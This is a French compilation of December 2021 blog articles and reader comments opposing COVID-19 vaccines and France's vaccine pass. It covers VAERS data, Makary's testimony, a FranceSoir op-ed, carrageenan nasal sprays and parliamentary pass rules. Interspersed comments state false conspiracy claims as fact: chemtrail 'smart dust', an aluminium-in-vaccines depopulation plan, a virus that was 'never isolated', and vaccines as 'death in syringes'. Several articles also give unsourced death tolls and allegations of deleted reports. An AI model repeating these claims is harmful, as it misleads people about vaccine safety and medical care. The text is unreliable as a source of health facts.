Donc, il n'y avait rien de manifestement suspect sur la nature des pièces d'identité [manquantes]. Mais ce n'est même pas le sujet. Ce sont des gens qui ont fait confiance à ces produits et qui ont écouté les gens qui leur disent qu'ils sont sûrs et efficaces. Ils étaient en bonne santé. Ils sont sortis et ont reçu les coups.
Certains d'entre eux ont subi un événement indésirable, d'autres sont décédés. Ces rapports ont été déposés auprès du VAERS, puis supprimés. C'est atroce. Je ne spécule pas ici non plus. C'est ce qui se passe. Ils ont vécu cette horrible expérience, qu'aucun humain ne devrait vivre, puis ils ont disparu. Je ne sais même pas quel est le mot pour cela. C'est épouvantable."
Rose s'est également penchée sur les données du VAERS pour les enfants. Fait troublant, il y a apparemment des milliers, probablement des dizaines de milliers de cas si l'on tient compte de la sous-déclaration, où les coups ont été donnés à des enfants qui étaient trop jeunes pour recevoir le coup au moment où ils l'ont reçu.
Au moment où elle a examiné cette question, il y avait environ 5 570 rapports avec un code métrique indiquant que le produit avait été administré à un patient d'un âge inapproprié. En fait, il s'agissait du type d'événement indésirable le plus fréquent chez les jeunes enfants.
"Donc, il y avait des soi-disant professionnels de la santé qui injectaient des enfants sans confirmer leur âge", dit-elle, "et puis ces enfants ont subi des effets indésirables par milliers. Et cela n'inclut pas le facteur de sous-déclaration. Certains d'entre eux sont morts. Dans la tranche d'âge de 5 à 11 ans, deux d'entre eux sont décédés. L'un avait 11 ans, l'autre 13 ans, et le délai entre le décès et l'injection chez l'un des enfants était de cinq jours, chez l'autre c'était d'un jour.
Donc, c'était dans une étroite proximité temporelle. Ce qui est encore plus troublant, c'est que… quelque chose comme 60 enfants étaient morts entre 0 et 18 ans, et 38% de ces enfants avaient moins de 2 ans. [La semaine suivante] ce pourcentage est tombé à 30%. Je me dis, attends maintenant, c'était en fin de semaine dernière. Que leur est-il arrivé?
Il y a ces énormes incohérences dans les données. En voici un autre. J'ai environ 100 fichiers différents qui contiennent des algorithmes qui exécutent du code pour des choses spécifiques, comme un fichier d'enfant, un fichier de cancer, un fichier de maladie à prions. Donc, je les lance tous avec les données mises à jour.
La myocardite en fait partie. Et il y avait ce gros morceau de données pour les 50 à 75 ans concernant les rapports de myocardite la semaine dernière, et cette semaine, c'est la moitié. Il est incroyablement évident que quelque chose est très différent dans les données. Le nombre absolu de rapports a augmenté, mais il semble avoir changé d'une manière ou d'une autre.
Il pourrait y avoir une explication plausible. Mais le fait est qu'il n'y a aucune référence à la façon dont ces données sont déplacées. Il n'y a pas d'enregistrement. Donc, en tant que public, nous n'avons aucune idée de ce qui se passe réellement. Tout ce que nous pouvons dire avec une certitude absolue, c'est qu'il se passe quelque chose.
Avec le Dr Peter McCullough, Rose a récemment écrit et soumis un article10 sur les cas de myocardite dans le VAERS à la suite des injections COVID à la revue Current Problems in Cardiology. Tout était prêt pour la publication lorsque, soudainement, le journal a changé d'avis et l'a retiré. Vous pouvez trouver la pré-épreuve sur le site Web de Rose. Les données montrent clairement que la myocardite est inversement corrélée à l'âge, de sorte que le risque augmente avec le jeune.
« La plupart des rapports dans le VAERS concernaient de jeunes garçons, âgés de 15 ans. Il y avait une différence de six fois dans les rapports après les doses un et deux, ce qui indique une dose-réponse et/ou un effet causal. Le taux de myocardite chez les 12 à 15 ans est 19 fois supérieur aux rapports de base pour les États-Unis, il y a donc beaucoup de choses dans cet article qui étaient vraiment importantes », a déclaré Rose.
« Il y a de nombreux autres articles qui sortent maintenant et qui soutiennent à 100 % ce que nous avons trouvé. Ce n'est pas discutable. Ils ont [tiré] cet article cinq jours avant cette réunion de la FDA pour les 5 à 11 ans, et je ne pense pas que ce soit une coïncidence, car cela aurait informé les gens du risque potentiel de myocardite chez les jeunes . Alors, bien sûr, ils ne veulent pas de ça, car ils ont déjà acheté 30 millions de doses pour les 5-11 ans.
Infections latentes réactivées
Un autre effet secondaire courant des injections est la réactivation d'infections latentes telles que les infections herpétiques et le zona. Rose explique :
"Il y a un tas d'articles qui ont été publiés et qui donnent des idées sur les raisons pour lesquelles cela se produit", a déclaré Rose. « L'un d'eux prétend que les populations de lymphocytes T CD8+ sont compromises. Dans la branche acquise du système immunitaire, vous avez des populations de cellules immunitaires appelées cellules T CD4+ et cellules T CD8+.
Tout le monde a entendu parler du VIH/SIDA. Donc, l'idée est que vous avez un virus qui infecte préférentiellement les lymphocytes T CD4+, qui sont les généraux du système immunitaire. Ils coordonnent en quelque sorte toutes les autres cellules pour faire leur travail. Si vous avez un épuisement de ce type de cellule, alors le reste du système immunitaire s'effondre en quelque sorte, car ils n'ont pas leur général qui leur dit quoi faire.
Les cellules T CD8+ sont les cellules tueuses. Ces cellules sont chargées de tuer les cellules infectées par un virus, elles sont donc très importantes dans le contexte d'une infection virale. L'une de ces études a montré que chez les personnes après l'injection, les profils génétiques étaient très différents pour les cellules T CD positives.
Si nous parlons d'aller au-delà de la dérégulation immunitaire, si nous parlons de dysfonctionnement immunitaire, si nous parlons d'épuisement de certaines cellules immunitaires, cela pourrait être une raison possible pour laquelle vous assistez à une réémergence d'une espèce virale latente. , peut-être. Nous assistons également à des résurgences de cancer.
Un autre article paru montre qu'il pourrait y avoir des problèmes dans le domaine de la réparation de l'ADN double brin. Il y a deux enzymes (BRCA et 53BP1) qui ont été signalées comme étant altérées qui sont très importantes dans la réparation des cassures d'ADN double brin, et si vous avez une altération des protéines essentielles qui sont censées réparer les cassures d'ADN double brin, vous avez de sérieux problèmes .
L'un de ces problèmes est la prolifération des cellules. Ainsi, chaque fois que vous êtes exposé à un certain type de virus, disons un virus du rhume ou de la grippe, et que cela vous prend le dessus et que votre système immunitaire acquis se déclenche, vous obtenez ces glandes enflées. Ce sont des populations réelles de cellules T qui prolifèrent.
Si vous avez des capacités prolifératives rabougries, ou si vous avez une altération de ce processus, vous n'avez pas de système immunitaire si cela se produit dans les populations de lymphocytes T et B…
Ainsi, en plus de l'hyperinflammation que la protéine de pointe semble induire dans tout le corps, il y a cette altération de la fonction immunitaire. Cela me fait vraiment peur. [C'est quelque chose] que nous devons enquêter et c'est une autre raison pour laquelle ces déploiements devraient s'arrêter maintenant. "
Plus d'information
Pour en savoir plus, assurez-vous de parcourir le site Web de Rose, Jessica's World. Vous y trouverez des liens vers des vidéos dans lesquelles elle résume ses différentes découvertes, ainsi qu'une mise à jour graphique hebdomadaire des dernières données VAERS sur les décès, les problèmes de reproduction féminine, les infections à COVID, les événements cardiovasculaires et les événements immunologiques.
Une autre excellente ressource est OpenVAERS, qui résume pour vous les données VAERS les plus pertinentes sur une base hebdomadaire. Si vous cliquez sur Rapports sur les événements indésirables liés aux vaccins COVID, une barre coulissante en haut de la page vous permet de choisir d'afficher les données soit pour les territoires américains uniquement, soit pour tous les rapports VAERS, qui incluent les rapports internationaux.
Sources and References
1 BMJ 2005;330:433 2 AHRQ December 7, 2007 3 The Vaccine Reaction January 9, 2020 4 SKirsch.io/vaccine-resources 5 OpenVAERS data as of November 26, 2021 6 OpenVAERS data as of November 26, 2021. For US only data, flip the selection switch at top 7 Science, Public Health Policy, and the Law November 2021; 4: 130-143 8 NEJM 2021; 384: 2273-2282 9 Health.gov.au Reporting and Managing Adverse Vaccination Events 10 Journal Pre-proof, A Report on Myocarditis Adverse Events in the U.S. Vaccine Adverse Events Reporting System (VAERS) in Association with COVID[…]
On a beau-dire aux gens "Ils vous tuent ! VOUS ÊTES SUR LA LISTE !" Ils s'enfoutent ! Ils haussent les épaules ! Pourquoi cela ? Étonné que le monde ait autant de cons sur Terre ? Explications:
Depuis des décennies nous connaissons les chemtrails sans que les politichiens ou les merdias n'en parlent ! Çà alors ! Aujourd'hui, nous commençons seulement à comprendre ce qu'est une poussière intelligente. Elles ne sont pas des poussières inoffensives tombées du ciel et respirées par tous les humains, les animaux et les plantes, elles sont là pour quelque chose, ce quelque chose s'appelle l'expérience. Par satellite l'on peut dès lors observer les cultures dans les champs et forcer des milliards de plantes à mourir selon leur variété spécifique ! Idem pour les centaines d'oiseaux morts retrouvés au sol ou centaine de poissons de la même espèce qui voguent sur les flots le ventre en l'air ou s'échouent sur les plages ! Aucune blessure décelée ! Empoisonnement zéro ! Mais alors ?? Nous savons que depuis 1927 de l'aluminium qui cause l'Alzheimer-Parkinson est ajouté à TOUS les vaccins !! Plus il y a de piqûre, plus il y a de cas d'Alzheimer-Parkinson. Et, de 80 ans, arrive à 70, puis 60, 50, 40, 30, etc !!! C'est LE plan Dépopulation. Aujourd'hui, les 'chemtrails' sont proposés en seringues. Si t'es piqué t'es mort !
"Ils vous tuent ! VOUS ÊTES SUR LA LISTE !" Ils s'enfoutent ! Ils haussent les épaules !
« De nombreuses vies sont détruites » par l'incapacité du gouvernement à reconnaître l'immunité naturelle, selon un médecin
Le Dr Marty Makary, chercheur en santé publique à la Johns Hopkins Bloomberg School of Public Health, a accusé mardi des responsables gouvernementaux de pratiquer le « maccarthysme moderne » contre quiconque suggère que les jeunes en bonne santé, en particulier ceux qui se sont remis de COVID, n'ont pas besoin coups de rappel.
Défense de la santé des enfants 21 décembre 2021
Le Dr Marty Makary a accusé mardi les responsables de la santé publique de « maccarthysme moderne » et de publier des études qui ne méritent pas « une expérience scientifique de 7e année ».
Le chercheur en santé publique et professeur à la Johns Hopkins Bloomberg School of Public Health a déclaré aux membres du House Select Committee on the Coronavirus Crisis que certaines politiques COVID sont devenues «trop extrêmes, trop rigides et ne sont plus guidées par des données cliniques».
Makary s'est concentré sur l'immunité naturelle et les injections de rappel COVID pour les adolescents. Il a critiqué la précipitation des Centers for Disease Control and Prevention (CDC) à pousser les boosters pour les 16 et 17 ans sur la base d'expériences en laboratoire suggérant que les boosters augmentent les niveaux d'anticorps contre Omicron.
Les fabricants de vaccins ont annoncé les résultats des expériences sans divulguer aucune des données scientifiques sous-jacentes, a déclaré Makary.
« Est-ce ce à quoi nous sommes arrivés », a demandé Makary ? « Pharma nous dit quoi faire et le CDC s'aligne ? »
Makary a assuré aux membres du comité qu’il n’était pas « anti-vax » – il a été vacciné contre le COVID.
Mais il est un ardent partisan de reconnaître l'immunité naturelle et de ne pas obliger les personnes qui se sont remises de COVID – en particulier les jeunes – à se faire vacciner.
Ce point de vue a fait de lui la cible de critiques, a déclaré Makary.
"Nous avons un maccarthysme des temps modernes chaque fois que quelqu'un remet en question les injections de rappel COVID pour les enfants", a déclaré Makary.
Makary a rappelé aux membres du comité que, malgré un budget annuel combiné d'environ 58 milliards de dollars, ni le CDC ni les National Institutes of Health n'ont produit d'études crédibles sur l'immunité naturelle au COVID – quelque chose que son équipe de recherche entreprend, en utilisant de l'argent privé.
Le CDC a publié deux études plus tôt cette année, affirmant que l'immunité vaccinale l'emporte sur l'immunité naturelle. Ces études étaient si imparfaites, de l'avis de Makary, qu'elles étaient "pires qu'une expérience scientifique en 7e année".
Makary a accusé le CDC d'avoir sciemment publié des études erronées afin que les gens obtiennent le vaccin, plutôt que d'attendre d'acquérir une immunité naturelle en obtenant et en se remettant du virus.
"De nombreuses vies sont détruites" par l'incapacité du gouvernement à reconnaître l'immunité naturelle, a déclaré Makary.
Regardez le témoignage de Makary (commence à 31:56):
- voir clip sur site -
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Le pouvoir dans la seringue : une mauvaise pièce jouée pour le peuple français
le 20/12/2021 à 17:00 "Quand on les attrape dans la rue"... Alain Tranchant, pour FranceSoir
CHRONIQUE — L'Histoire, la petite évidemment, retiendra que du 15 au 18 décembre 2021, le peuple français aura eu droit à une étrange représentation de la part d'un pouvoir politique d'autant plus enfermé dans son dogmatisme qu'il voit la maîtrise de la situation lui échapper, et l'issue de la crise sanitaire s'éloigner. Au cours de ces journées, c'est une véritable escalade verbale qui a été orchestrée par les principaux protagonistes de cette mauvaise pièce jouée sur le forum.
À tout seigneur, tout honneur ! L'acte 1ᵉʳ se déroule au palais de l'Élysée le mercredi 15 décembre, la comédie du pouvoir ayant été enregistrée le dimanche précédent. Tenant salon, M. Macron laisse entendre à ses invités que la tentation du "vaccin pour tous" est bien présente dans son esprit. Mais, les interlocuteurs du président ne sont pas très curieux, et les téléspectateurs n'en sauront pas davantage.
Le père fouettard...
48 heures plus tard, acte 2 et changement de ton ! C'est le Premier ministre, et dans le genre père fouettard, qui paraît sur les écrans à l'issue d'un Conseil de défense tenu dans le plus grand secret, dans le saint des saints de la République française, rue du Faubourg Saint-Honoré. À l'hôtel de Matignon, le tonnerre gronde : "Près de six millions de personnes ne sont toujours pas vaccinées : ce n'est plus possible. Notre seule arme, c'est la vaccination, et la vaccination avec trois doses désormais", le rappel intervenant dès le 4ᵉ mois suivant la seconde injection.
Jean Castex - à lui les mauvaises nouvelles ! - traduit alors en langage décodé le discours crypté du chef de l'État : en janvier 2022, le passe sanitaire sera transformé en passeport vaccinal. Plus question de simples tests pour déroger à la vaccination ! Tout le monde à la piqure ! Parce qu'il n'est pas admissible que "quelques millions de Français mettent en risque la vie de tout un pays et entament le quotidien de l'immense majorité de Français qui a joué le jeu de la vaccination". "Jouer le jeu", curieuse formule au demeurant...
Pour être certain d'être bien compris, le locataire de Matignon répète à l'envi la ritournelle habituelle des services de soins saturés par les non-vaccinés, et parle d'une "vague omicron exponentielle, selon les prédictions des scientifiques". Pour passer le cap des fêtes de fin d'année, il faut répandre un climat anxiogène.
"Quand on les attrape dans la rue"...
Acte 3 : samedi 18 décembre, avec l'intervention du dernier membre de la troïka, sur la radio d'information en continu du service public. Le ministre de la Santé en rajoute une couche pour être sûr que les Françaises et les Français, qui ne sont pas encore convertis au dieu "vaccin", assimilent réellement la nouvelle doctrine du gouvernement, à laquelle ils doivent adhérer au pas de course : "C'est simple, c'est clair, c'est limpide : nous voulons que les Français se fassent vacciner". Dans son élan, il lâche le morceau : "Le passe vaccinal est une forme déguisée d'obligation vaccinale, mais c'est plus efficace qu'une obligation vaccinale". Et, à l'attention des réfractaires, il a ces mots d'une belle élévation de pensée : c'est mieux que de "mettre une amende de 100 euros quand on les attrape dans la rue".
Enfin, comme si cela ne suffisait pas, il a fallu que le Conseil scientifique vienne faire entendre sa petite musique en fin d'après-midi, en déplorant l'insuffisance des mesures prises par le pouvoir politique - qu'il est présumé servir ! - pour limiter les festivités de Noël et, surtout, de Nouvel An. Dans le même temps, une chaîne de télévision donnait la parole à un professeur marseillais qui n'hésitait pas à proclamer qu'un "non-vacciné met en danger de mort les gens à côté".
Voilà où en est la communication du pouvoir macronien et de ses serviteurs zélés. C'est d'abord le matraquage et la menace de mort sociale. C'est aussi le déni de réalité. Car, le pouvoir a évidemment connaissance du fait que ledit vaccin n'empêche ni d'attraper la maladie, ni de la transmettre. Il fonctionne d'autant moins qu'il a été conçu pour traiter la souche initiale du virus de Wuhan, qui a disparu depuis belle lurette pour laisser davantage de place au variant Delta ! Pour le coup, c'est vraiment un coup de génie du Conseil scientifique d'avoir recommandé cette opération révolutionnaire de la troisième dose ! Ces messieurs savent très bien que l'injection n'est pas vraiment adaptée aux variants du virus en circulation. Comme ils savent, autant que le professeur Éric Chabrière, qu'actuellement, "deux personnes sur trois qui décèdent du Covid sont vaccinées", et que l'on a deux chances sur trois d'être contaminé par une personne vaccinée : ce sont, en effet, les chiffres officiels du ministère de la Santé qui nous l'apprennent... Un peu de sérieux, tout de même !
Ces messieurs qui nous gouvernent en dépit du bon sens savent encore, comme le professeur de virologie Jean-Michel Claverie, qu'ils ont acheté "quelque chose qui ne marche pas : on n'a jamais vu un vaccin qui dure trois mois, et pour lequel il faut trois doses, peut-être quatre ou cinq". Ils n'ignorent pas, non plus, que le variant omicron a vu le jour en Afrique du Sud, et s'ils ne sont pas informés que l'Afrique du Sud n'a déploré que 35 morts le 17 décembre, et pas forcément du variant omicron, au lieu de près de 600 décès chaque jour en début d'année, alors il y a des relèves qui s'imposent dans les rangs gouvernementaux ! À titre de comparaison, le 18 décembre, la France enregistrait 85 décès Covid, la Suède aucun. Ceci pour l'hécatombe omicron !
Non, M. Macron ; non, M. Castex ; non, M. Véran ; ce n'est pas parce que votre pouvoir est "dans la seringue" (c'est bien le cas de le dire !), condamné à une fuite en avant désespérée, liée au fait que vous avez nié tout traitement de la maladie pour permettre la mise sur le marché de vos satanés vaccins, que vous devez répandre la peur et la terreur, et encore moins montrer du doigt six millions de personnes, et les menacer d'un statut officiel de "paria de la République française". À quand le signe de reconnaissance publique ?
40 000 morts et 200 000 effets indésirables dans le monde !
Quand ces Françaises et ces Français - qui sont des citoyens comme les autres, qui aiment la France autant que vous - mesurent l'échec de votre stratégie fondée sur la seule injection de produits en phase expérimentale (ce qui aurait dû vous interdire de tout miser sur cette solution) ; quand ces millions de nos compatriotes connaissent les effets indésirables graves, et même mortels, de ces prétendus "vaccins" (40 000 morts et plus de 200 000 effets indésirables dans le monde, suivant les chiffres fournis ces jours-ci par le médecin réanimateur Laurent Montesino sur TV Liberté) ; quand ils apprennent que la pandémie est terminée dans les pays qui n'ont pas "vacciné" leur population ; alors, oui, toutes ces Françaises et tous ces Français ont le droit de vous dire : "Un peu de respect, s'il vous plaît !". Car votre bilan n'est pas brillant, et ne vous autorise certainement pas à faire la leçon à six millions de personnes qui n'ont qu'une revendication : la liberté de disposer de leur propre corps, surtout pour une maladie qui ne ressemble en aucune façon à la peste ou au choléra !
Bilan peu flatteur, en effet, si on le compare à ceux de la Suède, et surtout des pays pauvres, dont la mortalité a été infiniment inférieure à celle de la France, et tant mieux pour eux ! Cela parce qu'ils ont fait une chose, une seule chose, une chose élémentaire. Figurez-vous qu'ils ont, tout bonnement, mis en œuvre l'alpha et l'oméga de la médecine, depuis l'aube des temps : prendre en charge et soigner les malades, avec les remèdes à leur disposition, ceux précisément dont vous avez interdit à la fois la prescription et la vente en France, par le plus grand des hasards sans aucun doute... Ces six millions de Françaises et de Français sont en droit de vous demander : pourquoi avez-vous supprimé 5 700 lits d'hôpitaux en une seule année, en pleine pandémie ? Et, où sont les 10 000 lits de réanimation promis par M. Macron ? Ils se font aussi un devoir de vous dire : rendez aux médecins la liberté de prescription que vous leur avez enlevée, et faites en sorte que leur Ordre les laisse travailler sereinement !
Sans doute le pouvoir a-t-il le monopole de la parole, puisque l'accès aux plateaux télévisés est très encadré. Mais il ne détient pas la vérité. Et, surtout, il devrait cesser de toute urgence de diviser le peuple français, de monter les Français les uns contre les autres, par des propos scandaleusement blessants et délibérément incendiaires.
La MORT pour tous !! Comment osent-ils ??! Car: IL N'Y A PAS DE 'VACCIN' mais SEULEMENT une expérimentation génique d'essais !! Le dit 'virus' n'a JAMAIS été isolé !!! Ce qui veut dire qu'aux faux tests 'RT-PCR' apparaissent des milliers/millions de microbes et virus et que PERSONNE ne sait reconnaître qui que ce soit !!! Et... il existerait un 'remède' contre ces inexistants !!! Il s'agit de la mort en seringues.
(...) Dans le même temps, une chaîne de télévision donnait la parole à un professeur marseillais qui n'hésitait pas à proclamer qu'un "non-vacciné met en danger de mort les gens à côté". (...)
Qui çà ? QUI ?
(Les émissions dites 'en direct à la télé' sont des émissions enregistrées où les 'mots déplacés' sont effacés avant diffusion).
Pour bien comprendre: IL N'Y A PAS d'immunité contre une nano-poussière intelligente qui peut se modifier par signal reçu par une longueur d'onde adéquate.
Nouvelles que vous pouvez utiliser pour Noël: la carraghénane et la mousse d'Irlande dans les sprays nasaux ont réduit les infections à Covid de 80 %
December 21st, 2021
Il y a plus de cent ans, les Irlandais croyaient qu'un extrait d'algue rouge pouvait guérir les vaches malades et les humains atteints de rhume et de grippe. En termes de traitement précoce, la science médicale moderne rattrape lentement les agriculteurs du 19ème siècle. Dans un petit essai cette année, les travailleurs médicaux étaient 80 % moins susceptibles d'attraper Covid s'ils utilisaient un spray nasal avec l'extrait de carraghénane « Irish Moss ». C'est seulement un cas de 2 sur 200 attrapant Covid dans le groupe test, contre 10 sur 200 dans le groupe placebo, donc le « 80 % » est un nombre caoutchouteux, mais c'était un essai contrôlé randomisé, et il y a d'autres les résultats des tests de laboratoire qui suggèrent que l'effet est réel.
Et parce que nous avons récemment découvert qu'il était utile contre le rhume et la grippe, des vaporisateurs nasaux contenant cet additif alimentaire courant et sans danger sont déjà en vente chez le chimiste. Vous pouvez donc entrer et en obtenir un avant les fêtes de Noël.
Le carraghénane ou « Irish Moss » est un gel polysaccharidique issu d'une algue rouge. Cela fonctionne en gommant les choses pour un certain nombre de virus – essentiellement en les gênant et en les piégeant dans le gel. L'idée est de le faire gicler dans le nez trois ou quatre fois par jour pour empêcher un virus d'entrer. Pas aussi amusant qu'un verre de champagne, mais plus amusant qu'un rhume.
Le carraghénane est un additif alimentaire, et il est si sûr qu'une personne de 70 kg pourrait en manger un demi-kilo par jour "sans effets indésirables". C'est donc plus sûr que le sel de table. Nous savons depuis les années 1980 que le carraghénane est utile en laboratoire contre les virus de la grippe, le coronavirus OC43, les rhinovirus et le virus coxsackie. C'est pourquoi il a été mis dans des sprays nasaux commerciaux. L'un ici en Australie s'appelle Flo Travel, destiné aux voyageurs assis dans les avions, mais il y en aura d'autres. Recherchez l'iota-Carraghénane dans les ingrédients.
En Irlande, son utilisation remonte à environ 400 après JC, mais dans des endroits comme la Chine, à environ 14 000 ans. Actuellement, la carraghénine est ajoutée comme épaississant à des choses comme les glaces.
Il y a deux ans, j'aurais dit « conneries ». J'ai supposé qu'une giclée dans le nez n'arrêterait pas tous les virions et cela semblait être un exercice futile. Il suffit d'un virion pour franchir les portes et il fera 1000 bébés. Au moment où un virus pour bébé pénètre dans vos poumons, le spray nasal qui jaillit n'aura plus d'importance. Mais la vaste zone à l'arrière de votre nez et de votre bouche est souvent le premier endroit sur lequel un virus aéroporté s'accroche. Il y a quelque chose comme un mètre carré de surface derrière notre nez pour que les virus se défoulent :
La cavité nasale a un volume compris entre 15 et 19 ml et une surface macroscopique de 150 à 180 cm², cependant la présence de microstructures telles que des microvillosités sur les cellules cylindriques augmente considérablement cette surface à environ 96 000 cm²
— Robinson et al
Et si le spray de gel manque le premier virus, il peut toujours être là pour attraper beaucoup de virus pour bébés lorsqu'ils s'échappent de la cellule détournée. Cela signifie une forte réduction de la charge virale, ce qui signifie moins de chances que le virus pénètre dans vos poumons ou votre tube digestif, et moins de chances de l'expirer et d'infecter un ami. Cela signifie également que vous pouvez ralentir la phase exponentielle endémique et gagner du temps à votre système immunitaire pour trouver la bonne clé et fabriquer les bonnes armes. Dans la course aux armements de l'expansion exponentielle, le temps supplémentaire au départ est un gros avantage.
Le fond de ton nez est la nouvelle frontière Anatomie de la tête avec nerf olfactif, y compris les étiquettes pour la cavité nasale, les nerfs olfactifs, Patrick J. Lynch, illustrateur médical
Il ne s'agit pas seulement de sprays nasaux, il existe également des gargarismes de gorge, des lavages nasaux et toutes sortes de façons de tuer ou d'éliminer les virions au début. Les Docs en Espagne avec le taux de survie remarquable de 100 % utilisaient des lavages nasaux au bicarbonate. J'écrirai bientôt plus sur ces autres stratégies.
Donc, vaporisez avant les événements, vous êtes moins susceptible d’attraper Covid et de nombreux autres virus, et si vous attrapez quelque chose, cela réduira probablement encore la durée de votre maladie.
Apparemment, sucer des pastilles de carragelose pourrait aussi fonctionner.
C'est juste un autre traitement précoce que notre ministre de la Santé a oublié de mentionner La grande question est, comme toujours, nous avons clairement su que c'était une possibilité raisonnable depuis le tout début de l'épidémie de Covid, pourtant nous voilà, des milliards de dollars de confinements et cinq millions de morts plus tard, et le géant médical industriel complexe ne pensait pas que cela valait la peine d'être mentionné. Pas de campagnes de « sensibilisation », pas d'échantillons gratuits de chaque médecin généraliste. Pas de publicité gouvernementale, pas de spots d'information.
C'est encore un autre moyen bon marché et sûr de ralentir le virus, tout en ayant une vie plus normale.
Les personnes utilisant du carraghénane se sont améliorées plus rapidement. Gel de carraghénane, Covid.
- voir graph sur site -
Autre bonus, non seulement il réduit la durée des rhumes longs, mais il en réduit également la récurrence.
Je ne savais pas que les rhumes récurrents étaient "une chose", mais apparemment, ils le sont. Avec le coronavirus du rhume, près de la moitié du groupe placebo a présenté des symptômes récurrents plus tard, mais avec le traitement à la carraghénane, seul un cinquième l'a fait.
Il y a une discussion intéressante sur le papier pré-imprimé Figeroa. Les deux cas positifs dans le groupe test étaient aux jours 2 et 5, ce qui signifie que le premier était probablement déjà infecté avant le début de l'essai.
h/t Old Ozzie, Krishna Gans
REFERENCES Figueroa JM, Lombardo ME, Dogliotti A, et al. Efficacy of a nasal spray containing Iota-Carrageenan in the postexposure prophylaxis of COVID-19 in hospital personnel dedicated to patients care with COVID-19 disease. Int J Gen Med. 2021;14:6277-6286. doi:10.2147/IJGM.S328486
Morokutti-Kurz M, Graf P, Grassauer A, Prieschl-Grassauer E. (2020) SARS-CoV-2 in-vitro neutralization assay reveals inhibition of virus entry by iota-carrageenan. PLOS One. doi:10.1101/2020.07. 28.22473321.
Harri Hemilä, Elizabeth Chalker (2021) Carrageenan nasal spray may double the rate of recovery from coronavirus and influenza virus infections: Re-analysis of randomized trial data,. Pharmacol Res Perspect, 2021 Aug;9(4):e00810. doi: 10.1002/prp2.810.
Bar On et al (2020) SARS-CoV-2 (COVID-19) by the numbers, eLife. 2020; 9: e57309. Published online 2020 Apr 2. doi: 10.7554/eLife.57309
Pass sanitaire : Ces lieux protégés par la Constitution ! Le Parlement, comme d’autres lieux, bénéficient d’une protection constitutionnelle
par Aphadolie 20/12/2021
Un amendement visant à imposer le Pass sanitaire au sein de l’Assemblée nationale a été rejeté dans la nuit de mardi à mercredi.
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L’amendement a été retoqué en commission, car il pourrait porter atteinte au principe constitutionnelle de « libre exercice du mandat parlementaire » d’après le président de l’Assemblée nationale Richard Ferrand.
Pass sanitaire : ces lieux « protégés » par la Constitution
À la question : « Connaissez-vous des personnes éligibles à la vaccination mais qui ne le sont pas ? », la députée Aurore Bergé a répondu ce jeudi au micro de France Info : « Malheureusement il y en a à l’Assemblée nationale ». Cette affirmation de l’élue LREM a suscité une vive interrogation chez les journalistes et semé le doute chez leurs auditeurs. Le Pass sanitaire ne serait donc pas obligatoire pour les députés lorsqu’ils exercent leurs fonctions au sein de l’Hémicycle ? Cette question a en réalité déjà été éclaircie en juillet dernier.
À cette période, la députée LREM Stéphanie Rist propose un amendement pour appliquer le Pass sanitaire à l’Assemblée nationale. Son argument est simple : il s’agit d’un « souci d’exemplarité ». « Il est normal que nous soyons également soumis aux mêmes règles que nos concitoyens. De plus, l’Assemblée nationale étant un lieu de brassage de centaines de personnes venant de régions différentes, c’est un lieu particulièrement sensible à la contamination. », argumentait alors Stéphanie Rist, ainsi qu’une cinquantaine d’autres députés en faveur de cet amendement.
Pourtant, la mesure ne voit pas le jour puisqu’elle n’est même pas présentée en séance publique. En cause, l’inconstitutionnalité de la mesure, qui empêcherait les députés d’effectuer librement leur travail parlementaire. À l’annonce de cet amendement, le président LREM de l’Assemblée, Richard Ferrand, mettait d’ailleurs en garde les députés à l’origine du texte : l’application du Pass sanitaire au Parlement ne pourra passer le contrôle du Conseil constitutionnel.
De fait, le « libre exercice du mandat parlementaire » est garanti par une décision des juges constitutionnels de 2008 qui s’appuie en partie sur l’article 6 de la Déclaration des droits de l’homme et du citoyen (DDHC) ainsi que les articles 26 et 27 de la Constitution. De fait, imposer la présentation d’un Pass sanitaire pour voter au sein de l’Assemblée nationale ou du Sénat reviendrait à violer ces droits constitutionnels et porterait donc atteinte à la démocratie.
Un amendement déposé par des députés LaREM, visant à imposer le Pass sanitaire au Palais Bourbon, a été rejeté dans la nuit de mardi à mercredi, en amont de la discussion sur le projet de loi sanitaire. Pour Richard Ferrand, une telle mesure serait inconstitutionnelle.
Ce mercredi, le Pass sanitaire est devenu obligatoire pour entrer dans un certain nombre d’établissements recevant du public de plus de 50 personnes, lesquels sont détaillés dans un décret publié le 20 juillet. Parmi eux : les cinémas, les salles de spectacles, les bibliothèques ou encore les salles de conférences, les salles de jeux, les piscines et les navires. En revanche, les enceintes parlementaires, Sénat et Assemblée nationale, n’apparaissent pas dans cette liste.
À ce titre, une cinquantaine de députés de la majorité ont déposé en commission un amendement, à l’initiative de Stéphanie Rist (LaREM), visant à instaurer une obligation similaire pour les parlementaires qui se rendent au Palais Bourbon. « L’accès à l’Assemblée nationale peut également être subordonné à la présentation des documents […] sur décision du président de l’Assemblée nationale », formulait ce texte. Les auteurs invoquaient « un souci d’exemplarité » à l’égard de l’ensemble des Français, jugeant en outre que l’Assemblée nationale est « un lieu particulièrement sensible à la vaccination ».
Problème de constitutionnalité
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L’amendement a été retoqué en commission, dans la nuit de mardi à mercredi, à la veille de l’examen du projet de loi relatif à la crise sanitaire. Un rejet qui a valu de nombreuses critiques, certaines voix dénonçant une volonté des députés d’imposer à la population une mesure qu’ils refuseraient pour eux-mêmes.
Des critiques qui ont valu une réaction de la présidence de l’Assemblée nationale, laquelle a publié un communiqué mercredi matin. Pour le titulaire du Perchoir, Richard Ferrand, une telle mesure pourrait porter atteinte au principe de « libre exercice du mandat parlementaire », qui a été en effet rappelé par le Conseil constitutionnel. Par conséquent, un tel amendement pourrait être frappé d’inconstitutionnalité.
« La question était de savoir si le Pass sanitaire pouvait être imposé à l’Assemblée nationale », a précisé à LCI une source parlementaire. « Un amendement qui viserait à contraindre l’exercice du mandat parlementaire, voire de l’empêcher, serait inconstitutionnel. » En outre, a estimé la même source, « on parle bien de l’enceinte de l’Assemblée nationale, qui est un lieu de travail, pas une salle de cinéma ni une salle de spectacle ».
La présidence de l’Assemblée a toutefois assuré que la loi relative à la crise sanitaire sera « évidemment appliquée à l’Assemblée nationale, dans le respect des missions des parlementaires », sans préciser de quelles mesures il pourrait s’agir. Outre les parlementaires, le Palais Bourbon abrite plusieurs centaines d’agents, un lieu de restauration et accueille des visites guidées dans la limite de 50 participants. Il faut noter, en outre, que les députés seront soumis au Pass sanitaire dans les lieux où il est obligatoire, à l’instar de tous les Français
Un amendement de députés LREM visant à instaurer le Pass sanitaire au Palais Bourbon a été rejeté en commission. De quoi alimenter la suspicion et la colère des anti-pass.
